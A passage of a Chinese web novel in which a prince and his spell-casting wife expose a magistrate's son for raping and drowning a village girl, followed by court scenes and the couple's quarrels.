他眼角余光还悄悄地给周侍郎递了个眼神:多谢亲家搭线!
周侍郎:“……”这到底怎么回事?难道郑县令早就认识晋王?
县令夫人则殷勤地邀请林倾月去后头观戏。
林倾月淡淡地道:“寻常的戏有什么看头?我这里倒是有一处好戏,不如一起来看看。”
这话把众人弄得一头雾水,却也只好都跟着聚到在了前厅。
晋王夫妇被请到了主位上入座,林倾月则收了伞,施施然坐在高位上。
郑石特意把自己的五个儿子、三个女儿都介绍了一遍,希望晋王能记住儿子们的名字,将来提拔重用。
至于女儿们……万一得了晋王的青睐,有幸做个侧妃,那也是令家族蓬荜生辉的好事。
东方宴喝着茶,眼皮都不抬地问:“郑世荣是哪一个?”
郑世荣突然被点到名字,一整个大惊喜,赶忙出来道:“万安县令次子郑世荣,拜见晋王殿下,恭祝殿下千岁千岁千千岁!”
第49章 可恶,该死!
东方宴慢慢抬起眼皮,看向郑世荣,目光阴冷得可怕:“原来是你。”
——原来就是这个浑蛋,身为贵族却不知洁身自好,害得本王堂堂王爷之尊,被王灵儿拉去冥婚,还喜当爹!
可恶,该死!
他心里虽然早就怒极,恨不得把那人凌迟了,可面上依然表现的平淡无波,还道了一句:“恭喜啊。”
郑县令只以为儿子真得了晋王的赏识,赶忙道:“我儿自小聪慧,颇有才学,且人品端方,乃是我们郑氏家族大力培养出的杰出弟子。就是不知,能否有机会在殿下跟前效力?”
东方宴冷笑:“原来你们郑家,培养的最杰出的弟子,就是这样的?很好很好!既然今日是郑二公子的定亲喜宴,本王自然要奉上一份大礼。”
他解下腰上的荷包:“本王的荷包就赠送给二公子吧,祝二公子喜得贵子!”
那荷包看起来不怎么值钱,甚至上面的绣工也一般般。可却是从东方宴的腰上解下来的,意义就完全不同了。
郑世荣当即喜滋滋地要去接赏——晋王随身的荷包啊,简直就是天大的脸面,将来何愁不能平步青云?
可不等他触碰到,东方宴手一转,就把荷包丢给了郑县令:“还是你代为保管吧。拿好了,你孙子的魂魄可附在上头呢。”
郑县令尴尬地问:“什么孙子?下官只有五个儿子,都还没有诞下子嗣。殿下莫要开这种玩笑。”
“谁和你开玩笑了?”东方宴已经没有耐心继续和他们绕弯弯了。
“郑世荣,你可还记得王家村民女,王灵儿?”
郑世荣脸上露出一抹异样的神情:“殿下,您……您怎么知道王灵儿的?”
那明明就是一个村姑,晋王怎么会知道她的名字?
“承认认识就好。那王灵儿怀了你的孩子,后又溺死于河里一尸两命。此事你可知晓?”
郑世荣面露慌张之色,“王灵儿她……”
郑县令一脚把儿子踹倒在地,喝道:“孽障,你到底做了什么?”
郑世荣环目四顾,只见周围都是亲朋好友,还有未婚妻周家的人。
他根本不想提任何和王灵儿相关的事,可晋**显已经知道自己和王灵儿有关系,不能装作不认识。
“爹!”他悲呼一声,“孩儿只是一时糊涂啊!”
当着晋王的面,郑县令也不敢包庇儿子,只好拿出大义灭亲的架势道:“你到底干了什么,好好交代!”
于是郑世荣只好把他和王灵儿的事情当众道出。
他和王灵儿的故事并不复杂。
大约八、九个月前,郑世荣外出途经王家村的时候,天降大雨。郑世荣便带着两个小厮,去附近村民家躲雨。
他们去的人家,便是王灵儿家。
王灵儿长得有几分姿色,不甘心随意配人,因此过了及笄之年也依然没有许配人家。
而郑世荣是她遇到的第一位贵族公子,温柔儒雅、彬彬有礼,很快获得少女的好感。
她把家里最好的茶水点心全部拿出,招待贵客。
郑世荣也很感谢少女的收留,尤其看到她家境贫寒,却还大方待客,便对少女产生了几分怜悯和欣赏。
那场雨下到傍晚,依然没有停下。
郑世荣本不想再继续打扰,可少女却拦着他说:“这里距离县城还有不少路程,冒雨回去定要生病。我父母在京城做小生意,今日下雨恐怕也不得归。反正他们的房间也是空着,不如就给公子住了。”
郑世荣本就身体虚弱,不敢随意淋雨。思索之后,答应留宿。
为了避嫌,他特意吩咐手下人睡在厨房,不可打扰主家。自己则被王灵儿安排住在她父母房间。
郑世荣没有睡过农家那种简陋的木板床,硌得睡不踏实。
到了半夜时,忽然感觉一个影子飘过,接着就感觉到一具滚热的少女胴体贴了过来。
他吓了一跳,急忙质问:“王姑娘,你怎么来了?别这样,君子当坐怀不乱,不可无媒苟合!”
可王灵儿却完全不顾廉耻,一个劲地往男人身上蹭,嘴里的话更是大胆:
“小女长到十五岁,从未见过公子这样的人中龙凤。今日一见,实在喜欢得紧。若不能和公子同寝,一生遗憾!”
郑世荣还在试图劝说:“我乃士族之后,
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家风严谨,不允许和平民女子通婚。王姑娘,你快快住手,我不想坏你贞洁!”
黑暗里传来王灵儿低低的哭泣声:“小女自知卑贱配不上公子,我做不了你的妻,甚至连给你做妾都不配。可我就是控制不住自己的感情,忍不住想要和你亲近。哪怕无名无份,我也愿意为这一夕欢好而付出任何代价!”
郑世荣是个血气方刚的男人,哪里受得了这种诱惑?当晚,脑子一热就和那王灵儿好上了。
事情过后,他又满心懊悔。
可既然木已成舟,也不能当成没事儿发生。
于是在接下来的一段时间里,他时常会来探望王灵儿,给她送些银两补品。
后来,王灵儿怀孕了。
也直到那时,她才露出自己贪婪的一面。
她用肚子里未出生的孩子做威胁,逼迫郑世荣娶她。
郑世荣清楚地知道,贵族和平民有着天壤之别。自己若是敢娶平民之女,定会被赶出家门。
于是,思量再三,他和王灵儿说:“我先将你养在外室,等我娶了正妻,再和妻子商议纳你为妾。如何?”
平民女子能做士族弟子的妾室,已算是飞上枝头了。
可王灵儿不肯。她非但不肯当外室,甚至也不想当妾,她想要当正妻!想要明媒正娶,想要一步登天跨入贵族的大门。
这怎么可能呢?
为此,郑世荣隔三岔五就出来和她谈,可每次都是不欢而散。无论郑世荣如何劝说,她就是铁了心不肯定松口,肚子也越来越大,眼看就要生产。
郑世荣知道不能再拖下去了,于是将人约到船上,还准备了精美的饭菜,希望能用真情打动她的心,让她看在孩子的份上,能稍作退让。
可她还是不同意,甚至威胁郑世荣:“除了我之外,你若是敢娶其她女子,我就上京告御状,说你强抢民女又不肯负责!我就不信你名誉扫地之后,还有哪家的贵族小姐肯嫁给你!我得不到的宁可毁了,也不能让别人得到!”
在争吵中,她脚下没站稳,一不小心跌入了水里。
郑世荣想救时,人已经沉了下去,遍寻无果。
第50章 活人会说谎,可记忆不会有假
此刻的郑世荣哭成了泪人,“我也不想隐瞒,可我不能让郑家门楣受辱。所以就没敢说出来,爹,孩儿对不起您的教导……”
郑县令气得狠狠地扇了儿子两个嘴巴子,训斥道:“为父一直教育你:‘女色乃伐性之斧!’你怎可因一时贪淫而犯下大错!”
他转过身,又郑重地向东方宴行了个礼,道:“殿下,此事确实是这混账东西私德有亏,稍后下官当以家法严惩。而那死去的王姑娘……她乃是平民之女,确实无法以正妻的名分进入郑家家门……”
这时,旁边有郑家的亲友纷纷站出来帮着说话:
“我们郑家乃是有着数百年历史的世家大族,别说世荣是嫡子,就算是家中的庶子也不可能娶村姑为妻。”
“世荣虽有过错,但说到底也是被那村姑给诱惑了。”
“是啊,世荣都答应纳她为妾,她却妄想一飞冲天当正妻。害死她的,分明是她自己的贪念!”
“哼,主动献身诱惑男人,能是什么好女人?”
“晋王殿下,莫要被欺骗了。那女子狡诈贪婪,她的家人肯定也不是什么好东西,定是想以此要挟拿好处!”
郑县令叹了口气,大度地道:“人死为大,都莫要再说闲话了。殿下,我郑家愿意给那王姑娘一个妾室的名分,免得她做孤魂野鬼,不得安生。”
于是那些亲朋好友又开始夸赞:
“不愧是郑家,家风就是正直!”
“出生低贱,还妄想攀高枝的女子,哪个正经人家肯要?更别说还**。”
“郑家父子都是仁厚君子,才肯忍下这口气。”
东方宴闻言,心底也泛起了怀疑:那王灵儿当真如此恶毒?生前勾引郑世荣,死后还拉自己冥婚,找郑家麻烦?
他正要说话,却听“砰!”的一声,林倾月一掌拍在桌上,果盘、杯盏尽数被震碎。
“果然是人言可畏。人都**,还要被你们用恶毒的语言鞭挞!”
郑县令道:“王妃,我知道您同情那王姑娘。可阶层和阶层的鸿沟古来有之,不是随便谁都能跨越的。就比如您,若非是侯府嫡女,世家贵女,就算当初您和王爷……”
他顿了顿没有继续说下去,可当初晋王被下药和林倾月不清不楚地共处一室的事情,在贵族圈里早就不是秘密了。
“若您的身份是草民或者寒门,即便您和晋王关系再好,陛下也不可能给您和晋王赐婚。”
“住口!”东方宴呵斥,“凭你也敢妄议本王和王妃?”
郑县令赶忙道歉:“下官不敢妄议,只是想要说明门第之别,实乃无法跨越的天堑。”
东方宴转头对林倾月道:“之前的事,王灵儿也有过错。即便也要报复,那也……”
“你真以为那就是真相?”林倾月打断了东方宴的话。
她着看向郑世荣,冷笑,“你以为人**,真相就永远无人知晓了吗?你的谎话,还是太拙劣了。”
东方宴皱眉:“你说,他在说谎?”
林倾月道:“活人会说谎,可记忆不会有假,不如让我们来看看那段真实的过往记忆吧,郑公子你可敢?”
不知道为什么,郑世荣看到林倾月笑盈盈的模样,总感觉有些恐惧,他下意识地后退:“我没有撒谎,我说的都是真的,真的。”
林倾月才不管他答不答应,手掌一翻祭出了一张符咒,嘴里念道:“过往种种,苍天可鉴。以血为引,溯梦回影!”
她的动作很快,不过只瞬间,符化成了一道金光打入了郑世荣的脑海。
郑世荣整个人顿时就呆住了,脑子里浑浑噩噩,而过去最真实的记忆慢慢浮现——
疾行的骏马在漂泊大雨中穿行,又在一声马嘶后,停在了一户民居前。
衣着华贵的公子带人冲了进去,迎上的是少女惊慌失措的容颜。
“你们是什么人,怎么闯进来了?”
“我家公子乃是县令家嫡子,借你家地方避避雨!啰嗦什么,还不快沏热茶、拿毛巾?”
这少女就是王灵儿。她受惊之后,听闻对方是县令家的公子,不敢拒绝赶忙去倒茶、拿毛巾。
郑世荣擦干了湿头发,坐在长凳上,眼睛直直地盯着那少女看。
十五岁的花季少女,
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水灵灵、俏生生的,一双湿漉漉的眼睛溢满了不安。
“你家大人呢?”他问。
“我爹娘在京城做营生,尚未归来。”少女说着,忍不住看向窗外,希望爹娘能早些回来。可此刻雨势依然很大,想来爹娘也被困住了吧?
“几岁了?叫什么?”郑世荣的问题似乎很多,眼神灼**粘在少女身上,从脸上慢慢地移到胸脯、腰、臀。
“你长得真好,许人家了吗?”
王灵儿被他看得极不舒服,转身就进了内室,刚要关门,简陋的木门被一道大力推开。
郑世荣进来,又反手关了门,还吩咐手下人:“看着点,莫叫人打扰了本公子的雅兴!”
他的雅兴,却是少女噩梦的开始。
哭声、喊声,都被磅礴的大雨给淹没了。
一段时间之后,外头的大雨终于停了,滴滴答答的残雨顺着屋檐落下,犹如一串串的珍珠泪。
禽兽披上了衣裳,重现变成了谦谦君子。
“我……我要告你!”
他听到身后少女的话,忽然笑了:“你告我?你知道我爹是谁吗?我爹可是县令,我们郑家乃是名门望族。你告我?告我什么?私闯民宅,还是**民女?你觉得我爹会信吗?会给我定罪吗?哈哈哈……”
他猖狂地大笑了起来:“你去告吧。只要你敢说,你爹娘的脸面会被你丢尽,他们的生意也甭想再做下去!本公子有的是办法,让你们家破人亡!”
他捏着少女消瘦的下巴:“一个**的民女,能得本公子的宠爱是你无上的荣耀!你该感恩戴德知道吗?若是不知道好歹去闹腾,本公子就把你弄去青楼千人骑、万人睡!”
丢下少女,他领着手下纵马离去。
而少女默默地擦干了眼泪,穿好衣裳,忍着难受把床上的血迹擦拭干净。
自古以来民不与官斗,不是不敢,是斗不过。
所以,她隐瞒了一切。在父母回来后,还强颜欢笑地和他们说话。
她想把那天的事当成一场噩梦,悄悄地忘记就好。
可万万没想到,几天之后那个禽兽又来了。
第51章 晋王殿下,该你说话了
那禽兽笑嘻嘻地对她说:“怎么办?我感觉我好像喜欢上你……的身子了,这几天总是想着你。不如你就跟我好吧?”
少女想要反抗,可和上次一样,她的力气太小根本推不开他。只是在他扑过来的时候,恨恨地咬了他肩膀。
结果换来的是男人的一顿毒打,打得她昏迷了过去。
直到他发泄完了兽欲,她才幽幽醒转。
郑世荣恶狠狠地对她说:“你父母的情况本公子都已经打听清楚了。他们每天早上去京城摆摊买货,傍晚才收摊回来。如果路上遇到个土匪,或是过河的时候不小心跌入河里,你猜会怎么样?”
少女哭了,她哭着求他:“你不要伤害我爹娘,不要伤害他们,求你了……”
郑世荣抚摸着她的脸颊,动作温柔得像是把玩宠物:“那就要看你乖不乖了。只要你乖乖听话,本公子保证你爹娘平平安安、长命百岁!”
接下来的三四个月里,郑世荣隔段时间就会过来。他很狡猾,从不在王灵儿的脸上留伤口,只折腾她的身体。
三四个月之后,他终于腻味了,便逐渐不再过来。
而王灵儿年少不通人事,再加上父母每天起早贪黑忙碌,对她关注不够,连怀孕了都不知道。
直到后来孩子月份大了,肚子藏不住了,父母才发现。
可她的父亲第一反应,就是责怪女儿不检点,一个巴掌扇过去,逼问她那男人是谁。
王灵儿不敢说,只一味地哭。
王家本想打胎,可月份已大,打胎恐会伤及母体性命。
王家虽然无奈,可毕竟是唯一的女儿,不忍心她送命,于是决定先把孩子生下来。
谁知道这事被偏偏那郑世荣知道了,将王灵儿约到船上,质问:“你留着肚子,莫非想要母凭子贵?你一个卑贱的村姑,就算生了孩子也是野种,进不了我们郑家的门!”
“孩子必须拿掉,本公子的长子只能是嫡出,否则传出去会影响议亲。”
王灵儿怯怯地说:“我不想进你家门,我也不想再见到你。只要你不来找我,我永远也不会出现在你面前!”
郑世荣却不信她的话:“那你为何还留着肚子里的孽种?我们郑家乃是清贵名流,本公子的长子必须要从贵女的肚子里出来。你,不够格!即便怀了,它也不配出生!”
王灵儿流着泪道:“可大夫说,孩子的月份大了,拿掉的话很容易一尸两命啊。”
“哪来那么多废话?你给我听好了,三天之后若你肚子里的孽种还在,你爹娘就会出事!”
“郑公子!”王灵儿跪下来,抱着他的腿苦苦哀求,“公子,求你给我条活路吧,我真的不想死!我爹骂我、打我,我都没说出你的身份来。以后我也保证不会乱说,保证没人知道是你的孩子。我求你,求你让我生下他,求你给我一条生路吧!”
“**滚开,你的眼泪鼻涕把本公子的锦靴都弄脏了!你知道这靴有多贵吗?滚!”
郑世荣一脚踹了过去,恼怒之下没有控制好力道,竟将人踹入了河里。
王灵儿不会水,伸手胡乱地挣扎着。
而郑世荣只冷漠地看了一眼,就吩咐船夫:“开船,走。”
一个玩腻的女子,**反而能省去许多麻烦。
王灵儿在水里眼睁睁地看着男人和船都渐渐远去,只有冰冷的河水无情地灌满口鼻。
她好恨啊!
为什么贵族可以高高在上,无法无天?
为什么自己生而卑贱,连活下去的机会都没有?
为什么,为什么……
强烈的执念,变成束缚将她困在河底,无法超脱。
她恨着郑世荣的同时,又清楚地知道,单凭自己和家人根本奈何不了凶手。
唯一的办法,就是有一个身份更高的靠山帮自己申冤。
而自小以来,父母给她灌输的观念就是:男人是女人的靠山,将来只有嫁个好男人才能过好日子。
生
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前,她已经不敢再奢望有好男人来娶她这样的残花败柳。
可死后,理智消失,只靠执念留存。于是,她的执念就是嫁个贵族郎君,要比郑家地位更高的贵族……
于是,东方宴就被林倾月算计,成了她的夫君。
只是这些执念初始的缘故,林倾月本不知晓,也不过是起了作弄之心才算计了东方宴。
可当她透过郑世荣的记忆,看到王灵儿遭受的一切时候,忽然就理解了她的执念。
和上次在林家一样,郑世荣的记忆溯影也被林倾月叠加了个海市蜃楼的咒术,投映出来。
看到儿子做的那些猪狗不如的事,郑县令的第一反应是不敢相信,下意识地帮着遮掩:
“不可能,我儿不可能干出这等荒唐事!家里的丫鬟那么多,他也犯不着去外面作恶啊!这是误会,这肯定是误会!”
“孽障!你自己说!”他又狠狠地踹了自己儿子一脚。
郑世荣刚才被溯梦的时候,整个人都是呆滞状态,此刻被自己老爹一脚踹醒还不知道发生了,只以为还能靠着自己的一面之词,把所有的问题都甩在王灵儿身上。
“对不起爹,我也没想到王灵儿会那么贪心,盯着我的正妻之位。我当初真的是一时没把持住,才被她诱惑。如今想来,一切怕是她早就算计好的!”
当着众人面,他痛哭流涕。
暗中却在思索着:我每次去找王灵儿时都小心地避开人。而王灵儿受我威胁,连父母都没敢告诉。所以,没人知道我的所作所为!
林倾月冷声嗤笑:“我终于明白,为什么王灵儿受此欺辱,却还忍气吞声,连父母都不敢告诉。就算她说了,就算王家父母去告了官,凭他们那卑贱之身、微薄之力当真斗不过你们啊!”
“好在今时不同往日了,王灵儿也是有靠山的人了。晋王殿下,该你说话了。”
林倾月把事情推给了东方宴,毕竟他可是王灵儿的夫君啊。
第52章 真正的权势滔天
东方宴眼中杀意汹涌:“大胆郑世荣,本王面前还敢扯谎!真当本王是好糊弄的?所幸晋王妃略通玄术,让那真实的记忆重现!诸位都看清楚了吗?那才是真相!”
他说着满脸鄙夷地扫了郑世荣一眼,喝道:“来人,将此恶徒送去京城廷尉衙门,并传本王王令:郑世荣身为贵族本该爱惜羽翼、修**君子之道,却目无王法,**民女并蓄意**,罪大恶极,当杀,且不许铜赎!”
“王爷……”郑县令哆哆嗦嗦地跪下,“其中定有内情,还请殿下万万不可轻易定罪。下官以郑家数百年来的清誉作保,还请殿下明察!”
郑世荣慌了,情急之下开始口不择言:“**偿命那是针对平民的法令。我乃士族之后,本就可以重罪从轻。就算杀了人,一个**村姑而已,凭什么让我去抵命?”
这话其实没错。若那王灵儿没人撑腰,即便上了公堂,他们也可以反诬其勾引。
就算廷尉铁面无私,给定了**罪,按齐律也允许用钱财抵消部分刑法,那叫铜赎。最终可能只判个流刑,并不会定死罪。
而流放后可操作的空间就很大了,郑家有钱有权,即便流放到偏远地方也不会让郑世荣受罪。大概率就是出去避几年风头,然后再卷土重来。
郑世荣也知道这一点,所以还在据理力争地叫嚣着:“这世上的人,本就分三六九等!一个村姑而已,怎么配让我这世家公子抵命……更何况无凭无据凭什么随意定我的罪?就算你是王爷,也不能独断专行!”
“凭什么?”东方宴笑了,感觉听到了平生最可笑的话。
他走进几步,在郑世荣的耳边低声道:“你也知道人有三六九等?那你知不知道,在本王眼里,你们这种末等贵族和蝼蚁无异。本王若说你有罪,即便没有证据,也能定你的罪。本王若让你今日抵命,你就见不到明日的太阳!”
耳边的声音不大,但那一瞬间郑世荣却感受到了强大的权势碾压。
以权压人的人,原来也会畏惧更高的权势!
郑世荣被带走,可东方宴却依然不打算放过郑家。
他转过身,冰冷的目光落在郑县令身上:“郑施,你身为一方父母官,却教子无方,纵容你的儿子**民女、谋害性命,而你居然还公然袒护?本王会将此事禀明圣上,废除你万安县五品县令之位,永不录用!”
“永不录用”,仅仅四个字,代表了仕途中断,家族即将走向衰落!
“本王很想杀你!”东方宴是恨极了郑家人。他们糟蹋了又不愿娶的女人,最后却莫名其妙被自己给娶了。他如何不很?
郑县令浑身颤抖,冷汗透衣,却还跌跌撞撞地跪下叩谢晋王不杀之恩。
以晋王的手段和权势,就算要灭了郑家满门,只要一个眼神底下就有人办妥。
这才叫权势滔天!
东方宴对郑施道:“你可知道本**明恨不得活剐了你,却为什么忍着没杀你吗?”
郑县令当然不知道。
东方宴指了指他手里的荷包:“因为这荷包里附着你孙子的魂魄。王灵儿死后生子,鬼婴儿的魂魄需要郑家的香火供奉。看在孩子的份上,所以本王才给你一条生路。”
郑施一惊,捧着荷包犹如捧着全家老小的性命。
“还愣着干什么,还不快给你的大孙子起个名?”林倾月说着,用手蘸着茶水,在桌上写上了一串生辰八字。
“这是你孙子出生的生辰八字,好好记住。取好名字之后,就把名字和生辰八字刻在牌位上,以后日夜供奉。可记住了?”
“记住了,记住了!”郑县令哪还敢忤逆,连连应下。
很快,那孩子的牌儿就做好送来了,由郑施亲自捧着,送到了祖祠。
本来他还想给王灵儿准备牌位,一起供奉了,以此挽回晋王的好感。
林倾月告诉他:“不必了,王灵儿不接受你们的供奉。”
那可怜少女,虽然身份低微,可从未想过攀附权贵,更没想要嫁入郑家。
眼看事情处理完了,林倾月的幽冥伞撑开,伞下是一个少女模糊影子
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,怀里抱着一团小小的婴孩,向着林倾月和东方宴深深地鞠躬后,慢慢消失。
伞骨梢下的引魂铃无风而动,“叮叮当当”的声音,宛如一曲哀怨的送魂歌。
而这一切,旁人都看不见,只有东方宴和林倾月才能瞧见。
东方宴问林倾月:“他们走了?”
林倾月点头:“那孩子受了至亲的供奉,不必当孤魂野鬼,就和王灵儿一起去阴曹地府轮回了。”
东方宴默了片刻,道一句:“希望来时,他们都能投个好胎。”
林倾月转头看向他:“你们这一世有父子缘分,你若是愿意,我可以帮你们续缘,让那可怜的孩子投胎做你真正的子嗣,如何?”
东方宴脸色一变:“不必了!本王暂时还没有生育子嗣的打算。”
林倾月:“呵呵~”还以为这狗王爷终于通人性,原来是自己想多了。
那嘲讽的眼神,让东方宴有点恼火:“林倾月你故意的?本王帮了你这么大的忙,你不道谢就罢了,非要露出这种尖酸刻薄的样子吗?”
林倾月没搭理他,收了伞走快步走在前面。
“林倾月,你给本王站住!”
东方宴追到大门外的时候,林倾已经不见了。
周侍郎从后面追出:“殿下,下官实在不知郑世荣是那种禽兽不如的人,否则绝对不会把女儿许配给他。”
今日之后,郑家得罪晋王的消息就会不胫而走,整个上流圈层将再无郑家的立足之地。
周侍郎不会再和郑家做姻亲,退婚是必须的。
此刻也必须要当着晋王的面表明自己的立场,变得被牵连,让晋王心生嫌隙。
前一刻,东方宴还因为林倾月而阴沉着脸,在面向周侍郎时,忽然又浮出了温和的笑容。
“本王知道,周侍郎也是被蒙骗的。”他拍了拍周侍郎的肩膀,宽慰了几句后才离开。
兵部侍郎的品阶不算很高,但却是兵部的二把手,从前替东方宴办差也算尽心,东方宴自然要给点面子,在种时候好好笼络人心。
第53章 你就这样欺骗本王,愚弄本王?
到了下午,罢朝称病数日的齐昭帝突然召见东方宴。
东方宴不敢怠慢,回府换了身衣服,就进宫了。
到了御书房,就见齐昭帝已经在批阅奏章。整个人的气色都恢复了过来,看到晋王过来了,他笑着道:“免礼,坐下说话。”
东方宴就着太监搬来的椅子坐下,见没其他大臣在,说话便也随和了些:
“皇伯伯,您气色虽然好多了,可大病初愈就忙着政务,当真一点也不顾及龙体?”
齐昭帝今年五十五岁,其实算不上太老。早些年见他,神采奕奕,丝毫不见老态。
自从太子出事后,他整个人就迅速衰老了下来。肉眼可见,都是风霜之色。
可偏偏国家离不开他,所以只能打起精神操持政务。
“休息了几日,已是好多了。这些天,也多亏了宴儿你帮着料理政务,皇伯伯才能安心休养。”
东方宴赶忙站起来拱手:“能为皇伯伯分忧,乃是侄儿的荣幸!”
“坐下,说了不要太拘泥礼数。你一岁半的时候跟你父王上朝,那时太子尚未出生,朕抱着你坐在龙椅上议政,结果你半道尿裤子了。到现在龙椅上还有你的尿骚味!”
齐昭帝说着,哈哈大笑,身后的大监也捂嘴低笑。
东方宴有点尴尬:“皇伯伯,小时候的糗事就莫要再提了。”
“也不知道是不是朕老了,总时常怀念从前。从前,你父王还在世时,我们私下常聊起你们这些小的。朕喜欢宴儿你活泼率真,每天过得没心没肺。你父王却总夸太子仁善开明,将来定能当个好皇帝。”
提到太子,齐昭帝的眼神黯淡了几分:“若一直像从前那样,该多好了。”
东方宴顺着他的话头问道:“皇伯伯,太子弟弟如今可好些了?”
齐昭帝叹了口气:“还是那样子,昏睡不起。太医已经断言,活不过三个月了。”
东方宴忙道:“都是一群庸医!皇伯伯您千万不要轻易放弃,若是连您也放弃了,那太子弟弟怎么办?天地之大,卧虎藏龙者不计其数,我们再去找!总能找到能医治太子的人!”
齐昭帝摆了摆手:“朕怎么没派人去找过呢?但……这或许就是命吧。是上天惩罚朕当年忤逆,犯下弑父夺位的大罪!所以让朕子嗣凋零,最亲密的手足早早离世,最爱的儿子也……”
当年,齐昭帝还是太子时,被先帝猜忌,险些**。迫于无奈之下,才和东方宴的父亲联手起兵夺位。
也是因为这样的缘故,他和老晋王的兄弟情分格外深厚。
之前,他从不愿提及往事,如今这风烛残年的老人许是备受打击,才和东方宴推心置腹地聊起过往。
“若太子当真……朕的帝位自然会留个宴儿你。”
他忽然收敛了伤心的神色,睿智的眼神定定地看向东方宴,好像要看穿他的一切:“朕能给的,自然会给你。不能给的,你也绝对不可去夺。明白吗?”
瞧,这就是天子!他愿意和你谈感情的时候,是一家人。不愿意谈感情的时候,便是君臣。
泾渭分明!
东方宴赶忙敛正神色,开始表忠心:“无论何时,宴儿永远忠诚于大齐,忠诚于皇伯伯,就像臣的父亲那样忠诚!至于帝位……那是太子弟弟的,臣万万不敢肖想!”
齐昭帝满意地点点头,神色舒缓了下来:“朕只是与你闲聊,何必那么正经?对了,你的那位王妃,很不要错。这几日有空把她带来,朕要重新见见她。”
“是!”
东方宴知道,齐昭帝要见林倾月,应是源于她在蜉蝣丝一案上立了功劳的缘故。
这也算是好事。能博得皇帝好感,也给他晋王挣脸面了。
东方宴从宫里出来,本来要去内阁和大臣议政。看看天色将晚,又想起和林倾月的不欢而散。
当时情绪上头,此刻想来又觉得不是什么大事,没必要和她一个小女子计较。
略略思忖之后,他推掉了内阁的事儿,转去了玄镜司接林倾月回家。
她是自己
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的王妃,从前没有给的体面,以后慢慢补偿。她应该会感受到自己的好意,收起那浑身的刺吧?
若是她实在不喜欢林如珍入府,那他就不纳了吧。
一路想着,连东方宴自己也不知道,林倾月是什么时候开始,已经慢慢走进心里。
到了玄镜司门口,门卫本要去禀报被东方宴拦住了:“本王来接王妃回家,又不是外人,不必通报了!”
门卫都有点懵:晋王殿下什么时候和我们是自己人了?
不把自己当外人的东方宴一路走到玄镜司的议事厅,人还没进去,就先听到里面闹哄哄谈话:
“林副使果然厉害,竟然能叫那冷面王爷去冥婚!我还以为晋王不可能会答应,没想到他真去了。哈哈哈!”
“我早就看出来,林副使压根就没提前说!就那么把晋王给骗去了。”
“林副使,快说说你是怎么把晋王给骗去的!”
接着就是林倾月轻蔑的声音传出:“怎么骗的?那有什么可说的?反正他傻,好糊弄。”
“林副使,话说你看到自己的夫君和女鬼拜堂时,是何感受?”
林倾月耸了耸肩,不在乎地道:“没什么感觉。职责所在,区区一个男人就算得了什么呢?”
“好一个职责所在!”东方宴的声音突兀地传来。
他的脸上没有什么表情,但眼神冰冷得要刀人,看起来像个杀神。
原本围着林倾月嘻嘻哈哈的司卫们眼见情况不对,一股脑的全散了。
林倾月身子软软地依靠在圈椅上,两条腿很没形象地搭在桌上,毫无形象。
“你怎么来了?”
她说话的语气随便,神态轻浮。丝毫没有被撞破的窘迫,甚至没有看出东方宴在生气——或者看出来了也不在乎。
东方宴冷声问道:“昨晚,你说想让本王陪你去办差,只是为了诓骗本王去当冥婚的新郎?”
“是啊。”林倾月也不否认。
“林倾月,你就这样欺骗本王,愚弄本王?”
第54章 面圣
“算欺骗、愚弄吗?你觉得是就是吧。”林倾月把玩着垂落下来的发丝,笑得没心没肺,“我也给了你好处。去之前,不是说好了,你帮我的话,我就答应你让林如珍入王府。”
“你放心,我说到做到。你什么时候纳她?需要我帮你选个黄道吉日吗?”
“砰!”男人一掌落下,那可怜的茶几顿时被打碎,他一字一顿地道,“不必劳烦副使大人,本王自会择良辰吉日,纳新人入府!”
说完,他带着满腔怒火,头也不回地走了。
林倾月的笑容却越来越盛:“这样就生气了?伤心了?可和当初林倾月受的罪比,又算得了什么呢?”
其实,刚才东方宴靠近门口的时候,林倾月就发现了他,也是故意让他听到那些扎心的话。
她上辈子作为一个“渣女”,太懂如何在人心上扎刀了。
而这,才刚刚开始呢!
晚上,林倾月回到晋王府栖梧殿,不多久赵安带人捧来了几个礼盒。
林倾月乜了眼问:“那些是何物?”
赵安道:“陛下召见您,明日您要和王爷一起入宫面圣。这是给您准备的吉服,还有配套的首饰。这些物品原本在您嫁入王府那天就该送来。可您和王爷成亲仓促,来不及准备,不过王爷心里惦记着,前些天还一直在催着皇家司造坊。这不,今晚东西就送来了,正好能赶上您明日的面圣。”
“知道了,放下吧。”
赵安见她神色淡淡,似乎不太感兴趣,便有殷勤地帮着介绍吉服的做工多么精致,用料多么昂贵,以及那些首饰都是怎样的价值连城。
他是个好奴才,每句话都不忘提自家的主子,极尽讨好之意。
若是寻常的贵女,自然会为这些东西心动。那些东西不光价值连城,更是身份的象征!
可林倾月上辈子当**的时候,什么好东西没见过?
她听得烦了,直接把赵安给轰了出去。
另一头,东方宴被林倾月气得连晚饭都没胃口吃。
冷静之后,他知道自己不该被那女人牵着鼻子走。
可当赵安回来后,他还是忍不住问道:“东西送去了?王妃如何说?”
赵安委婉地道:“王妃挺开心的。”
“她开心?”东方宴的眉头忍不住舒展了下,却傲娇地冷哼一声,“哼,果然是爱慕虚荣的女人!”
既然开心了,怎么也该道声谢吧?为了让她早日拥有自己的吉服,他前些天还纡尊降贵亲自去了趟司造坊。
此外,他还特意从库房里挑选了几个成色最好的东珠,镶嵌在送她的头冠上。
试问天底下,哪个女人能拒绝得了这些?
只听赵安道:“对了,王妃还有话带给殿下。”
“王妃说什么了?”
东方宴一听林倾月带话来了,眉头舒展得更开了:哼,这女人,总算知道好歹了。若她不那么狼心狗肺,好好地当本王的王妃,天下什么珍宝本王不能给?
赵安回道:“王妃说,您纳庶妃的事,她公务繁忙没空料理,让你……让你自己办。”
东方宴的脸色顿时就沉了下来,虽然没有说话,但赵安明显感觉到周围的气场变极为压抑。
他胆战心惊地退出来后,就听到里面传来瓷器碎裂的声音。
第二天,林倾月穿着吉服,打扮一新出来的时候,对上的便是东方宴的一张冷脸。
他只是淡淡地扫了眼林倾月,而后一言不发翻身上马。
林倾月则上了马车,悠哉游哉地伸伸胳膊,舒展舒展腿,坐累了还能躺一会——车厢里只有自己一个人,就是舒服啊。
很快就抵达了皇宫。
这次,因为东方宴在场的缘故,小花没有跟着入宫,只是托林倾月帮着带了个话给齐昭帝。
比起上次见到齐昭帝时,这次的会见,圣上的话明显多了不少。
他问起林倾月婚后和东方宴相处的情况,还问了林倾月日常都喜欢干些什么。
听说她精通棋艺,顿时来了兴致,命人摆了棋桌要来斗一局。
大监悄悄过来耳语:“陛下,六部的尚书、侍郎都到了,在议政厅等您好一阵子了。是不是……”
